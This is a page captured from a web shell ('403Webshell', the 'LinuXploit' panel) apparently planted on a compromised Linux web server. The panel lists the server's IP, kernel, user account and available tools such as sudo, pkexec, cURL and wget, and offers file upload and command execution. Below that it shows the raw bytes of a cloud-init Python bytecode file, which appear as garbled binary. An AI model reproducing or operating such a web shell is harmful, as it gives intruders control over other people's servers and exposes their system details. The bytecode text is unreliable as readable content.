403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/__pycache__/event.cpython-36.opt-1.pyc
3

��b1�@svdZddlmZddlmZmZddlmZej	e
�ZGdd�de�ZGdd�de�Z
eeeee
fd	�d
d�ZdS)
z0Classes and functions related to event handling.�)�Enum)�Dict�Set)�logc@seZdZdZdd�ZdS)�
EventScopeZnetworkcCs|jS)N)�value)�self�r	�/usr/lib/python3.6/event.py�__str__szEventScope.__str__N)�__name__�
__module__�__qualname__ZNETWORKrr	r	r	r
rsrc@s(eZdZdZdZdZdZdZdd�ZdS)	�	EventTypezCEvent types which can generate maintenance requests for cloud-init.Zbootzboot-new-instancezboot-legacyZhotplugcCs|jS)N)r)rr	r	r
r#szEventType.__str__N)	rr
r�__doc__ZBOOTZBOOT_NEW_INSTANCEZBOOT_LEGACYZHOTPLUGrr	r	r	r
rsr)�user_config�returnc Cs�i}x�|j�D]�\}}yt|�}Wn6tk
rX}ztjdt|�|�wWYdd}~XnXydd�|dD�}Wn8tk
r�}ztjdt|�|�g}WYdd}~XnXt|�||<qW|S)aConvert userdata into update config format defined on datasource.

    Userdata is in the form of (e.g):
    {'network': {'when': ['boot']}}

    DataSource config is in the form of:
    {EventScope.Network: {EventType.BOOT}}

    Take the first and return the second
    z.%s! Update data will be ignored for '%s' scopeNcSsg|]}t|��qSr	)r)�.0�xr	r	r
�
<listcomp>>sz&userdata_to_events.<locals>.<listcomp>Zwhen)�itemsr�
ValueError�LOGZwarning�str�set)rZ
update_configZscopeZ
scope_listZ	new_scope�eZ
new_valuesr	r	r
�userdata_to_events's(rN)r�enumrZtypingrrZ	cloudinitrZloggingZ	getLoggerrrrr�dictrr	r	r	r
�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit